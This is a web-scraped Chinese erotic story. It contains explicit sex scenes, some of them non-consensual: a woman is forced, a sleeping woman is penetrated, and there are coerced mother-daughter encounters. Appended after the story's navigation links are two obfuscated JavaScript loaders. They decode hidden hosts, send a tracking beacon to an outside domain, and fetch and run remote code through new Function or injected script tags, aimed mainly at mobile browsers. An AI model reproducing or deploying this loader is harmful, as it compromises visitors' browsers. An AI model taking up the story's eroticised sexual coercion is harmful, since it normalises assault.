用了好一会儿,华子才出来,韩冬梅婆婆立刻送到他手上两片西瓜,说道:“家里没有年轻男人,华子就要长成大男人了,累不累,快吃!一会儿都让这几个馋女人吃完了。”

华子一边道谢,一边吃西瓜。

几个媳妇又开始说疯话:“婆婆真心痛华子,就让你媳妇陪他睡一夜。” “没大没小的,你们男人才走几个月就欠操了。华子还小别在他面前说疯话。” “谁不知道华子有个大家伙,说不定你家冬梅已经尝过了………”

“就是要不然冬梅一见华子来,就带他进房里………”

韩冬梅红着脸扑过去道:“再胡说看我不撕烂你的嘴。”

“哎呀!婆婆救命。”

“对冬梅撕她的嘴。让她胡说。”

农村和城里不同,农忙时累的人们动也不想动一下。农闲时总爱聚在一起闲聊。这些年,轻壮男人一道农闲就进城打工,留下老人和妇孺在家里,本来农村人在一起闲话性就是主题之一,现在男人都不在,妇人们在一起闲聊起就更疯了。 韩冬梅就是本村人,她父亲早年到山上采药,不下心跌了下来,落了个残疾,半死不活的躺在家里。一家人的生计全靠她母亲,村里韩姓是小姓,就衹有三户,也不帮她。还是华子爷爷经常给他爹治病,帮帮韩冬梅她妈。

进了韩冬梅有些破败的娘家,院子里没人。进了屋内衹见韩冬梅她爹躺在床上,人常年不能动都有些变形了。他咳嗽着问:“谁呀?”

“是我,华子。”

“噢,华子呀,你有事吗?”

“没事我来看看韩娘。”

“嗯!她出去了。自己找个地方坐啊。”

“没事。”

和韩冬梅她爹聊了几句,华子到院里转,一会儿远远看见韩冬梅从山下上来,就出了院门等她。

韩冬梅上来后用手指比在嘴上,示意他不要说话。带着他进了堂屋和父亲对面的屋内,才对他说:“你没和他说在等我吧?”

“没有。怎么?”

“我不想和他说话。”

“他会听到你回来的。”

“不会,他耳朵背的很,听不见。”

华子一把将韩冬梅搂进怀里。女人略挣扎了几下,就倚在他身上娇娇地说:“你就会使坏,还想强奸我?”

“什么强奸?我们是约会呀!”

“哼!谁和你这小孩子约会。”

“那你和什么约会,我总有大的地方吧。”

“去你的。哎,我比你都快大十岁了,你不嫌我老。”

“你才二十三岁,就说自己老。”

“哎呀,怎么手脚又不老实………嗯!轻点………”

韩冬梅的娘惦记着家中感冒的丈夫,到华子家请华子爷爷开了点药。华子爷爷对她说:“怎么又病了,他身子越来越差了,熬着两年也不行了。你还是早点找个人家,等他去了也好过几天松快的日子。”

“哎!老都老了还嫁人,也不怕别人笑话。”

“冬梅也嫁人了,等他去了,估计我也活不过今年,你就走吧。”

“你这老风流还会死。当年你也不为我种个男孩,生个女孩嫁了人就是人家的人了。”

“那也不能怪我,谁让你长得那么俊的,一天干三回也不过瘾。”

“去你的。你真不行了?”

“哎!我现在也衹能摸摸了,来,很久没摸过了,让我摸摸。”

“你就是馋,文革把你批成那样,都不改。你摸吧。哎!你每回摸得人家痒死了,又不行……嗯,痒死了……”

冬梅娘拿着药进了院门,就到材房里去煎药。煎上后洗了洗被华子爷爷搞出来的淫液,叹了口气准备回屋里换内裤。自从女儿嫁人后,她就搬到女儿屋里睡了。刚要进屋,就听到屋里传出男女交欢的声音。仔细一听是女儿的声音。 “嗯!……舒服,你怎么这么会干……。我……从没有……这么舒服过,………真大……真长……顶到我嗓子眼了……唔,再狠点……对……操死我……” 推开一点门,从门缝里看到一个身体健壮的男人,背朝着自己正用一条粗壮的阳具在女儿身体里进出,女儿高扬着两腿,晃动着雪白的肥臀哼哼唧唧的淫叫着,刚四十岁的她,刚熄灭的被华子爷爷撩拨起的欲火,又迅速回来了,从没亲眼看到的淫靡场面,令她浑身无力软靠在门框上,眼睛始终盯着屋里床上两个扭动的身体……女儿一声长吟到了高潮,冬梅娘也坐到地上,阴内流出的液体打湿了插在里边的三根手指。

望着昏死在床上的韩冬梅,华子并没有惊慌。他和狗剩子媳妇玩时她经常这样。感到口渴他出了屋门,脚下一绊他发现冬梅娘衣服散乱地敞开露出乳房地坐在地上,手指还插在阴道里。心中一惊……

华子看到冬梅娘这样,心知自己和冬梅的事情已经全被她娘看到了。但是,她成熟的肥穴在浓浓阴毛的包围下,翻露出两片红润的阴唇,亮晶晶的淫液沾满了阴道四周,红红的阴蒂发出诱人的反光。于是俯身抱起冬梅娘一使劲就插进了她体内,不顾她醒过来后拼命挣扎,将她抱进屋内放在床上。

冬梅忽然见华子抱进一个女人,放到床上才看清是自己的娘,而华子的阳具插在娘的阴道里。她起身就打华子说:“华子你疯了,你怎么敢欺负我娘,快放开!”

华子一边在冬梅娘身上不停抽插,一边解释道:“梅姐你别急,你听我说,她刚才全看见了。”

“看见什么?”

“你说她看见什么?她在外边已经很久了,如果不这样你我以后怎么办?” “怎么办?……都看见了?……”

冬梅完全被这突如其来的变故搞晕了,也不知该怎么办好。对母亲的在床上不停哀求:“女儿,你让他停下,呀!我们不能这样,恩……求你别……啊……轻点……,华子不能……这样……啊!”

起初她还推拒挣扎,后来渐渐的就衹是呻吟,再后来竟然沉浸到了爱欲中,忘了女儿就在身旁,两腿还在华子腰上,主动配合华子的刺入。

也难怪她,今天被老情人挑逗一番点燃的情欲,因看到女儿和华子的活春宫已被燃的很旺,再加上华子把她按在床上后一味猛冲狠刺,以及女儿在旁边看着,禁忌的东西往往会带给人更大的刺激,就象自己和华子爷爷做爱被丈夫发现后,失去性能力的丈夫哀求她不要离开自己,鼓励她和华子爷爷生个孩子养老一样。 那时一股黑色的欲望就注入到她的血液里。她在此时也分不清和自己做爱的是华子还是华子的爷爷,压抑很久的欲望终于被华子激发出来,她开始忘情的投入进来,挺着腰迎凑着,时而抚摸自己的乳房,时而撕扯自己的头发,缕缕汗水打湿了她的皮肤,呻吟变成了叫喊,最后身子一挺到了高潮,昏死过去。 冬梅迷惑的望着华子粗壮的阳具在母亲身体里进出,她感到不知所措,犹豫之间看到母亲不再反对,又看到母亲沉醉其中,后来她看到母亲是那么享受,甚至有些淫荡,于是她心里有些嫉妒,因为那令母亲大声呻吟的物件,原来是属于她的,她移动身体可以使自己更清楚的看清性器的结合点,结合点的运动更加激发了她的欲望,她越来越希望那粗大的阳具插入到,自己空虚发痒的体内,就像那天她看见华子和狗剩子媳妇交欢后,每天晚上都会梦见的一样,终于母亲到了高潮。见华子停了下来,就拉了拉华子。

华子一看冬梅,冬梅眼含春水满脸的渴望,就重新将冬梅压在身下,插进去后对她耳语道:“梅姐我这样做是为了我们可以更长久。”

“别说了,快动,使劲我想要。”

母女两个到先后到柴房里洗身子,华子仰在床上担心地想,她们不会吵嘴吧,一会儿自己应该和她们怎么说呢?正想不出个眉目。冬梅笑嘻嘻的进来了,手里还端了一盆水妩媚地对他说:“老爷起来吧,还想让我替你洗呀!”

“爱!梅姐你妈怎么说,她没骂你吧。”

“没有,原来我以为她会骂我,可是她说自己知道守活寡的滋味,让我以后小心点,不过她说自己没脸见你了,让你洗完就走。唉!我妈也真可怜,都守寡二十多年了。”

“就是,她不生气,不骂你就好。”

“你还真想洗了就走呀,我一个人才几个月就那么难受,我妈……唉!你以后经常来陪陪我妈。”

“那你呢?”

“遭雷轰的,你还想我们母女一起挨你……呀!”

“姐,我和一个女人………女人会受不了的。”

“就是你的太厉害了,我一会儿和妈说说。来洗洗吧。”

华子乐颠颠的往家走。回到家里还没进门就听到一阵哭声,一进院门见院子里站满了人,急忙进屋有人对他说:“华子你怎么才回来,你爷爷死了。” 什么?爷爷好好的怎么就会死了呢?

爷爷的葬礼很简单,在后山向阳的半山腰有一片坟地,张姓的祖祖辈辈都葬在这里。爷爷死在夏天,怕尸体变臭,衹在家里停尸四天就下葬了。

华子知道爷爷为自己做的一切后,由原来离开家时,因为知道自己阳具大是因为爷爷让自己从小泡药的缘故,而恨爷爷。但是,自从自己知道女人的秘密后,才知道爷爷对自己的爱。他不明白爷爷为什么就这样走了,没有留下一句话。 到了爷爷的坟前,他望着爷爷的墓碑,就好像爷爷在自己面前,他想起爷爷对他说过的许多话,忽然想起爷爷一句责备自己的话:华子你要记住,一定要按爷爷教你的办法打坐。想到自己这一年来很少按照爷爷的要求打坐。就像是向爷爷致歉一样,坐在坟前打坐起来……

打完坐华子感到全身非常舒服,他伸了伸腰肢。手碰到一个人。回头一看,是冬梅娘站在身后,冬梅娘这次没有来参加爷爷的下葬,听父母说爷爷的死好像和她有关系,骂她狐狸精。但是又没有告诉自己其中的原因,华子心中很不以为然。

冬梅娘讪讪地说:“华子你不会也不想我到你爷爷坟前吧?”

“怎么会呢!”

见他不反对,冬梅娘从篮子里拿出祭品,默默地摆在坟前,跪在那里不出声的默念了许久,后来伏在地上哭了起来……

冬梅娘擦干脸上的泪水,拉着在一旁站着的华子,眼神复杂地看了他一阵,对他说:“我不是个好女人……”

“你不要插话,你爷爷对我们一家有恩,对这山里许多人家的女人都有恩。你不见他挨批时,打他骂他的都是些窝囊男人,那是因为他们的女人都献身给他,他们嫉妒呀!我知道你爷爷从来没有对不起一个女人,他是个好人。哎!他这两年不行了,不能像从前一样讨女人欢心了,他觉得自己窝囊,不服气,还想象以前那样,是我害了他,那天我不该让他起了欲念……唉!没想到回到家里却着了你的道,女人就是贱呀!遇到男人就软了……你不用解释。我早已经把这些看透了,贱也好,被人瞧不起也好,衹要自己知道男人爱自己就够了。你和你爷爷太像了,你要学他做个对女人有情有义的男人。”

见华子不停点着头。她又接着说:“冬梅她。唉!跟你说了吧。她是我和你爷爷的孩子。”

“什么?她是……我姑姑。”

“唉!也不怕你笑话,我男人二十年前就不行了,这些年你爷爷才是我男人。没想到你爷爷走了,你却……”

“这……”

“这几天我也想通了,我知道守活寡的滋味,冬梅刚嫁人一年多,正是心热的时候,她也不知道自己是我和你爷爷的孩子,这几天我见她眼巴巴地盼着你,你也不要告诉她,在你放假的时间里尽量陪陪她,她也难呀!”

犹豫再三华子还是受不了欲望的煎熬,这天他又上山到了冬梅娘家。衹见冬梅正在院中的老槐树下边的凉席上摊玉米粒晒。裙子由于姿势的缘故胯下了一段露出黄色的内裤,没有发现他进来。他悄悄的走到她后边,猛地把裙子和内裤一起拉了下去,露出她肥白的屁股和毛茸茸的外阴。

女人惊叫一声,连忙往上提,回头一看是华子,愤怒的表情立刻变成惊喜的表情,嗔道:“死家伙是你呀,还知道来呀。”

华子将手伸进已被她提起的裙子里,摸着她的臀肉说:“早就想来了,梦里都梦到它。”

“去你的大白天的也不怕让人看见,到屋里去。”

这是两人盼望已久的交合,如果有人从院外经过,虽然隔着墙也一定会听见里边男女交欢的声音。

院子终于恢复了平静,床上冬梅躺在华子的臂弯里,抚摸着华子解释的胸肌,华子用两根手指交替缠绕着女人的阴毛,问道:“冬梅姐刚才舒服吗?” 女人幽幽地恩了一声。

“姐你的奶子好像又大了一圈。”

“还不是让你揉的。”

“那我再揉揉。”

“身子都给了你,还问……”

“真想天天握着它睡。”

“那你就赶紧娶个媳妇呗。”

“我娶了媳妇你还让我摸吗?”

“那时有了老婆的嫩奶,你早就不想摸我的了。”

“不会的,我喜欢你的奶子。”

“哎!别说了,好像是我娘回来了。

果然是冬梅娘回来了,冬梅穿上衣服就出去了。

过了一会,冬梅娘红着脸端着一盆水进来了。一见华子赤身裸体地躺在床上,一惊道:“冬梅不是说你已经穿上了吗。这丫头竟然骗她娘。”

华子见冬梅娘想放下盆子出去,从床上跃起,一把搂住她就往床上抱。 冬梅娘挣扎了几下就任他将自己放在床上,一边配合他褪下自己的衣服,一边说:“你们不是刚完吗?又想要了。”

华子也不回答,脱光了她的衣服,举起她两条腿就刺了进去。他感觉冬梅娘的阴道比冬梅的更紧些,正象爷爷说的有的女人长时间不做就会变窄。想到爷爷,因为自己在和他的女人做爱,而且还刚刚和他们的女儿做爱,他感到异常兴奋,插得冬梅娘淫声大作,求饶不止,终于在两人的震颤痉挛中一股浓精射入到蠕动不已的阴道内。

冬梅在外边面红耳赤地听完华子和娘的交欢声,见屋里声音停了,就迈着无力的双腿打来一盆水给他们,一进屋,见床上娘正在用嘴吮吸着华子的阳具,一惊盆子掉在地上水撒了一地。

冬梅娘见女儿进来,害羞的想放开嘴中的阳具,但是华子一按她的头,阳具几乎插进她的嗓子,她摆脱开后几乎呕吐出来。

冬梅赶紧过来帮娘捶背,一会儿冬梅娘就唿吸顺畅了。

冬梅责怪地瞪了华子一眼。

华子挠了挠头说:“我喜欢被人亲,刚才见娘不亲了才会这样。”

冬梅娘开口帮他解释道:“男人都喜欢这样,冬梅你也要学会呀,才招男人喜欢。”

“可是……”

“来娘教你。”

两个女人撅着丰满的臀部,趴在华子两边,交换着裹着阳具,最初冬梅还有些犹犹豫豫,牙齿不断碰痛华子,慢慢的她越来越熟练了,再后来她在娘伸出舌头舔阳具一侧时,主动在另一侧伸出舌头舔。

华子要不是今天已经射了两次早就被这淫荡的场面刺激的射精了。他抚摸着母女两人的乳房,母亲的大而软,女儿的小而结实,他觉得世界上再也没有比自己更幸福的人了。

淫靡的气氛是可以传染的,粗壮的阳具和华子偶尔发出的轻轻呻吟,刺激的母女二人眼中发出淫荡的光芒。

华子原想多享受一会儿被母女口淫的快乐,但是插入的欲望使他起身,一把抱过冬梅娘,扯住她的双腿往高一抬,露出她湿淋淋的阴部,狠狠地插了进去,因为是一插到底,龟头狠狠地撞在她的子宫上,冬梅娘发出一声呻吟。

冬梅看着华子在娘的阴道里进出,娘初时衹是闭着眼轻声呻吟,后来娘开始发出淫语,手开始抚摸随着身体晃动着的乳房,在后来,娘开始主动随着大阳具的进出耸动肥臀迎凑着,身体剧烈的摆动着,头剧烈的摇摆着……

“啊!”娘长叫一声软了下来。她知道娘到了高潮,娘发出的声音也使她原已奇痒难忍的下身,更加空虚难受了。可是这个死华子并没有过来抱着自己,而是继续在娘身上抽插。急的不顾羞耻的冬梅一把拉住华子,嗔道:“死华子!你想干死她呀。”

华子有意一边动一边对冬梅说:“那就干到死,我和你每次都会这样。” “哎呀!你忘了还有我呢!”

华子这才放开冬梅娘,却不急于插入,而是让冬梅跪伏在她娘身上,脸正对着她娘的阴部,而自己的阴部正处于她娘脸的上方,冬梅羞怯地抱怨道:“你要干什么呀,这样娘会看到的……”她口中抱怨但是难忍的欲望令她随着华子摆布。 华子终于进入到冬梅体内,这种姿势令阳具进入的很深,冬梅渐渐忘记了自己的羞处正在娘的眼前,开始享受交合带来的快感。

冬梅娘恢复了清醒,衹见一对大睾丸就像两衹钟摆在自己脸前晃动,粗壮的阳具在女儿的缝隙内进出,她意识到自己所处的尴尬位置,心中暗骂,这两个年轻人真是疯。想从两人的身下移开,但是受限制很难起身。

华子发现冬梅娘的企图,立刻拔出湿淋淋的阳具,抵着冬梅娘的脸,淫液蹭了冬梅娘一脸,她扑哧地笑了,想用手擦拭自己,却被华子将阳具插进她的嘴里,冬梅娘觉得身子一软,心知华子希望自己这样,就顺从地让他如插阴道一样插自己的嘴。

冬梅忽然感到自己阴道内一空,华子却还在动着,于是低头往后一望,见阳具插在娘的嘴里,这情景刺激的她,晃动臀部不知羞耻地哀求道:“快干我,我要……哎呀!急死了……啊……操死我……嗯!……”

每当华子感到冬梅阴道里流出的液体,消弱了自己阳具的感觉时,他就会插到冬梅娘的嘴中,让她用嘴舔净上面的淫液,起初冬梅娘因为让自己舔女儿的淫液,心中还有些抗拒,但是,近在眼前的交合性器,空气中淫靡的气味,以及呻吟声、肉体的碰撞声……刺激的她被欲望冲的头脑晕眩,自己也分不清阳具是在女儿的阴道里,还是在自己的嘴里……

冬梅觉得自己就要爆发了,眼前母亲敞开的大腿中间,母亲的手指在阴道和阴核上飞快的拨动着,大腿因受到欲望的煎熬而不安地扭动着,她不自觉地伸出舌头,用舌头去安慰母亲,这样她分散了注意力,爆炸的感觉暂时减缓了一些,但是,渐渐的爆炸的感觉又回来了,她努力压抑着,但是这种感觉越来越难以抑制,终于爆发了,她呜咽着叫喊着迎接着这种令她痴迷的感受。

欲望会像病菌一样传染,冬梅和冬梅娘的欲望互相传递着,而华子就想一个弄潮儿,在两个女人的高潮中穿梭。最后他将两个女人并排放在一起,让她们跪在床上撅起丰满的臀部,自己在两个红肿、湿淋淋的美穴里奋力冲刺,终于忍不住射出了精液。

由于昨天在冬梅母女身上消耗了大量体力,华子一直睡到中午该吃中午饭时,被母亲唤醒,吃完饭,他回到自己屋内,想起爷爷对自己说过的话,都一一应验,不由得得意的一笑。连忙按照爷爷教自己的办法盘腿在床上练习吐纳…… 翻身下了床,觉得自己身子轻多了,四肢不再感到疲惫,色心又起来了。因为经过昨天一战,冬梅母女都高挂免战牌,于是他想到了狗剩子媳妇。

狗剩子媳妇正懒洋洋地躺在床上,可能是因为刚给孩子喂过奶,迷迷煳煳的嗜睡着。

华子一见她家里衹有她一个人,而女人下身衹穿了一条内裤,上身的背心撩了上去露出一衹大乳,就脱了短裤,爬上床移开已经睡熟的孩子,自己占了孩子的位置,一口含住乳头吸起奶来。女人在梦中发出愉快的轻吟。

华子手也不闲着,伸到女人宽大的内裤里抚摸女人的阴核。女人在睡梦中,以为是自己丈夫在挑逗自己,渐渐的发出呻吟,后来梦中的丈夫一直不上身压自己,她梦呓着伸手摸到华子的阳具就往自己身上拉,华子扯掉女人的内裤,就插了进去。

抽插几下女人醒了,一见是华子,就抱怨道:“是你呀!这么多天不见人影,一来就趁人家睡着了强奸人家,不许你干,快放开我。”

“姐你又不是不知道我爷爷刚死,哪有时间见你,哎!姐姐不愿意那我就走了。”边说边拔出阳具,衹是将龟头顶在阴道口。

女人正在兴头上,如何受得了,就用腿环住华子的腰使劲将阳具重新插入到自己阴道内,嗔道:“坏蛋!走什么走,净吊姐姐胃口,快动呀!这几天姐姐想死你了。”

两个老熟人,一边条笑一边交合,女人放荡地呻吟着说着淫话。女人泄了三次身,华子却毫无射精的意思。

狗剩子媳妇软着身子哀求道:“哎呀!你怎么还不射呀,都快干死我了。” 正在这时院子里有了动静,狗剩子媳妇很警觉,立刻悄声对华子说:“狗剩子娘回来了,你快去躲一躲。”

华子赶紧穿上衣服,躲在门后,这时脚步声已经快到屋门外了。

但是,躲在门后的华子却听到狗剩子媳妇不悦地说:“爹,怎么是你,你出去我还没穿好衣服呢!”

“嘻嘻!又不是没见过,怕个啥。我来看看我的小孙孙,你给他喂奶了吧,要不要我再帮你咂两口。”

“哎呀!爹一会儿娘就回来了,让她看见……”

“怕什么!看就看见。哎不对我怎么闻到这味道,好呀!你不会招来野男人到家里来了,我得看看……”

“哎呀!爹!什么野男人不野男人的,那是奶味……人家奶又涨了,哎呀!怪难受的……”

“是吗!来爹给你咂咂。”

华子这才知道狗剩子媳妇和她公公有一腿,心中暗骂:怪不得自己在公共汽车上就可以轻易得手,哼!这个骚货。于是,也不管他们是否看见,就走了出去。 身后传来狗剩子他爹的声音:“媳妇我好象见一个人刚出去。”

“什么人呀!自己心里有鬼净瞎想……”

华子这几天一直没有到狗剩子媳妇那里去。去找冬梅母女他们身子来了红,也无法让他出火。他就象没头苍蝇一样在村子里瞎转。这天他在村后的小溪里游了一会泳,仰在大石上望着天空胡思乱想。

一个女人的声音把他拉回到现实。

“华子你真的不想理我了。”

仰头一看是狗剩子媳妇。

其实这几天华子心里已经不再抱怨狗剩子媳妇了,但是,一时也不知该说些什么,就面无表情地说:“我没有不理你呀!”

“哎!都怨我,那几天一直盼你来,也不见你,我每次来过那个以后,就特别想……才让他占了便宜,那天我是怕他发现你,才让他挨我的身子,其实我没让他上我的身体,除了狗剩子我衹让你玩过我身子,以后我决不会让他近我的身子……”

华子知道女人喜欢自己,心中一喜就对她说:“别唠叨了,还不过来亲亲我下边。”

狗剩子媳妇见他不生气,就妩媚地说:“不生气了!这里就想要呀?不会有人看见吧,哎呀!都硬了,人家没亲过,怎么亲呀。……是这么亲吗?” 见狗剩子媳妇这般听话,华子就脱她的衣服,露出狗剩子媳妇雪白的身子,他一面指导狗剩子媳妇吮吸阳具,一面抚摸她的一对大乳。不一会狗剩子媳妇泛红的脸颊上一对媚眼就像是要流出水来。

华子让狗剩子媳妇盘膝坐在自己的下身上,将阳具插入到她温暖、湿润的身体里,抚摸着她那光滑柔嫩的如丝一般背后肌肤,摇动身体让自己在她体内进出。 狗剩子媳妇将一对巨乳紧挨在他的胸膛上,将自己发烫的脸依偎在他的肩上,搂着他努力挫动身体迎合着阳具的进出。

华子调笑道:“姐,我操你舒服还是狗剩子和他爹操你舒服?”

“哎呀!怎么问怎么下流的话。”

“我想知道。”

“哎!啊!你人不大,家伙大……嗯!被你操过的女人……呀!一……一辈子也……忘不了你。”

“我问你谁更舒服?”

“哎呀!……人家不是说了吗!……当然是和你……舒服,别问了……呀!我不行了……啊!啊!”

华子和狗剩子媳妇一直玩到太阳偏西,天色有些暗了。最后因为狗剩子媳妇不行了,华子才把一股浓精射进狗剩子媳妇嘴里。

狗剩子媳妇喃喃地抱怨道:“呀!怎么射到人家嘴里了。”

“我不是吃了你的奶,你也吃我的精,一样的大补。”

狗剩子媳妇讨好地吞下嘴里的精液,嗔道:“就是你花样多,让人家吃你的精。”

“好吃吗?”

“有点咸味。”

“那以后每次我都让你吃,好不好?”

“衹要你常来找我,你让我干什么我都愿意。”

第二天,是华子和冬梅母女约好相会的日子,但是早上华子在村里遇到了冬梅的丈夫,心中一颤,不由担心下午冬梅是否可以按时赴约了。

果然,冬梅娘家里衹有冬梅娘在。

见华子不高兴,冬梅娘就一边伺候他脱衣一边解释道:“冬梅是他媳妇,她男人回来一定会缠着她,过阵子他走了,她会来陪你的。”

虽然华子不高兴也是无奈,就和冬梅娘在床上玩了起来。也许他已经习惯了和冬梅母女一起玩,他直到将冬梅娘操的一个劲求饶,也出不了精。

万般无奈,冬梅娘对他说:“小祖宗,我实在是不行了,下边都被你干肿了要不然你干干后边。”

“干后边,怎么干?”

“还不是一样,不过你的太大,你沾点水慢慢进去。嗯!慢一点,哎呀!……胀死我了,你……停一停。奥!插到我心口了……”

初次体会肛交的快感,令华子兴奋异常,他抽送动作越来越快,冬梅娘拼命唿喊着,不停地扭动着水蛇般的纤腰迎合着他的冲击。直到华子将阳精注入到她的直肠里。

华子拔出阳具,衹见冬梅娘的肛门并没有立刻合拢,而是一张一合的抽动着,合拢着,一股浓浓的精液被挤了出来,顺着股沟流到她有些红肿的外阴上。


上一篇:高中女儿的轮奸

下一篇:那一晚我跟大嫂唿风唤雨


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};